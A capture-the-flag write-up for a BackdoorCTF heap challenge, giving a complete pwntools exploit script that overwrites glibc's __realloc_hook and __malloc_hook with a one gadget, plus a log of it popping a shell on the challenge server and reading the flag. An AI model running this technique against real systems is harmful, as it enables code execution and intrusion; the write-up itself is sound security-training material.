I played this CTF with 0x1 and got 9th place.
This was almost the exact same challenge as HITCON CTF 2019 Qualifer’s Trick or Treat. Only 5 people solved it including me. I am not sure why..
Challenge
Points: 405
Trick-or-treat Revenge.
http://backdoor.static.beast.sdslabs.co/static/trick-repeat/miscpwn
http://backdoor.static.beast.sdslabs.co/static/trick-repeat/libc.so.6
nc 51.158.118.84 17004
Flag format: CTF{…}
Created by: Nipun Gupta
No. of Correct Submissions: 5
Solution
I won’t go into much detail about this challenge since you can just read my writeup for Trick or Treat here.
The idea with this one is that you can malloc a chunk of size 10000000 and get the chunk mmapped and aligned to libc, but you are only allowed to perform one out of bounds relative write. After the write, there is a call to malloc(0xa)
followed by exit(0)
. Therefore, we have no choice but to overwrite __malloc_hook
, however none of the normal one gadgets worked.
The way I went about it was to realize that right before __malloc_hook
is __realloc_hook
. The binary lets us write 0x10 bytes, so I solved it by first overwriting __realloc_hook
to a working one gadget, and then overwrote __malloc_hook
to realloc+14
. This made it so that the constraints for one of the gadgets was suddenly met.
My exploit script is shown below:
#!/usr/bin/env python2
from pwn import *
elf = ELF('./miscpwn')
libc = ELF('./libc.so.6')
HOST, PORT = '51.158.118.84', 17004
def start():
if not args.REMOTE:
print "LOCAL PROCESS"
return process('./miscpwn')
else:
print "REMOTE PROCESS"
return remote(HOST, PORT)
def get_base_address(proc):
return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)
def debug(breakpoints):
script = "handle SIGALRM ignore\n"
PIE = get_base_address(p)
script += "set $_base = 0x{:x}\n".format(PIE)
for bp in breakpoints:
script += "b *0x%x\n"%(PIE+bp)
gdb.attach(p,gdbscript=script)
context.terminal = ['tmux', 'new-window']
p = start()
if args.GDB:
debug([0x13b9])
# Malloc a chunk such that it gets mmapped aligned to Libc
p.recv()
p.sendline('10000000')
# Remote binary behaves differently idek
if args.REMOTE:
p.recvline()
# Calculate addresses required
leak = int(p.recvline().strip(), 16)
libc.address = leak + 0x989ff0
realloc_hook = libc.sym['__realloc_hook']
hook_offset = realloc_hook - leak
log.info('Chunk: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('__realloc_hook: ' + hex(realloc_hook))
log.info('Offset: ' + hex(hook_offset))
# Set the offset correctly so we reach __realloc_hook
p.recv()
p.sendline(hex(hook_offset))
# Overwrite __realloc_hook with one gadget, overwrite __malloc_hook with realloc+14
p.recv()
p.send(p64(libc.address + 0x501e3) + p64(libc.sym['realloc'] + 14))
p.interactive()
vagrant@ubuntu1810:/ctf/practice/backdoorctf/miscpwn$ ./exploit.py REMOTE
[*] '/ctf/practice/backdoorctf/miscpwn/miscpwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/practice/backdoorctf/miscpwn/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
REMOTE PROCESS
[+] Opening connection to 51.158.118.84 on port 17004: Done
[*] Chunk: 0x7f47cefef010
[*] Libc base: 0x7f47cf979000
[*] __realloc_hook: 0x7f47cfb5dc28
[*] Offset: 0xb6ec18
[*] Switching to interactive mode
$ ls
Dockerfile
beast.toml
flag.txt
ld-2.28.so
libc.so.6
miscpwn
miscpwn.c
post-build.sh
public
setup.sh
$ cat flag.txt
CTF{REDACTEDREDACTEDREDACTED}
$